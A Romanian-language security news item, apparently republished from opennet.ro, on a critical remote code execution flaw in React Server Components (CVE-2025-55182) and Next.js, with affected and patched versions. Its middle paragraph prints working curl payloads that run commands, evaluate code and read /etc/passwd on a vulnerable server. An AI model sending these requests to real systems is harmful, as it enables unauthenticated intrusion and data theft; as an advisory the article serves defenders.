În componentele serverului framework-ului web React (RSC, React Server Components) a fost eliminată o vulnerabilitate (CVE-2025-55182), care permitea prin trimiterea unei cereri către un handler server să execute cod arbitrar pe server. Vulnerabilității i-a fost atribuit un nivel critic de pericol (10 din 10). Vulnerabilitatea apare în componentele experimentale react-server-dom-webpack, react-server-dom-parcel și react-server-dom-turbopack, utilizate pentru efectuarea funcțiilor și formarea elementelor interfeței pe server, nu pe partea clientului.
Problema este cauzată de deserializarea nesigură a datelor obținute în cererile HTTP către handlerii serverului. Handlerii „vm#runInThisContext”, „vm#runInNewContext”, „child_process#execFileSync” și „child_process#execSync” pot fi folosiți pentru a rula comenzi în sistem sau pentru a executa cod JavaScript în contextul procesului curent (o ocolire a izolării sandbox). De asemenea, este posibilă utilizarea handlerilor „fs#readFileSync” și „fs#writeFileSync” pentru a citi și scrie fișiere arbitrare pe server, în funcție de drepturile de acces curente. Nu este necesară autentificarea pentru atac. Un prototip de exploit este disponibil. # Executarea comenzii whoami curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}’ # Executarea codului JavaScript 1+1 curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}’ # Citirea fișierului /etc/passwd curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}’
Vulnerabilitatea sistemelor la aceste vulnerabilități depinde de utilizarea componentelor serverului vulnerabile react-server-dom-webpack, react-server-dom-parcel și react-server-dom-turbopack. Aplicațiile care nu utilizează react-server nu sunt afectate de vulnerabilitate. Gradul de acoperire a vulnerabilității în sistemele de lucru care utilizează React nu este încă clar. Pe de o parte, React este unul dintre cele mai populare framework-uri web (folosit pe aproximativ 6% din website-uri), iar componentele vulnerabile sunt dezvoltate în principal în repository-ul principal și sunt incluse în versiunile de release. Componentele vulnerabile sunt, de asemenea, susținute în framework-uri bazate pe React, cum ar fi Next.js și react-router. Potrivit companiei Wiz Research, instanțele vulnerabile au fost identificate în 39% din mediile cloud analizate.
Pe de altă parte, generarea de conținut pe server pe React Server Componeții sunt o funcție rar utilizată (majoritatea site-urilor React randând interfața doar pe partea clientului), iar componentele vulnerabile sunt marcate ca experimentale și nu garantează funcționarea corectă. Aceste componente au un număr relativ mic de descărcări directe din repository-ul NPM: react-server-dom-webpack — 670 de mii pe săptămână, react-server-dom-parcel — 7 mii și react-server-dom-turbopack — 32 de mii; pentru comparație, pachetul NPM React are 45 de milioane de descărcări pe săptămână.
Vulnerabilitatea este prezentă în versiunile React 9.0.0, 19.1.0, 19.1.1 și 19.2.0, și a fost remediată în actualizările React 19.0.1, 19.1.2 și 19.2.1. Componentele vulnerabile sunt de asemenea utilizate în pachetele Next.js (16 milioane de descărcări pe săptămână), react-router (20 milioane de descărcări pe săptămână), waku, @parcel/rsc, @vitejs/plugin-rsc și rwsdk.
În framework-ul Next.js, vulnerabilitatea (CVE-2025-66478) afectează aplicațiile care folosesc App Router și ramuri Next.js 15.x și 16.x. Se susține că vulnerabilitatea se manifestă în configurația Next.js implicita (aplicația standard creată cu utilitarul create-next-app este vulnerabilă la atacuri). Utilizatorii sunt sfătuiți să instaleze cât mai curând posibil actualizările Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 sau 16.0.7.
Sursa: opennet.ro
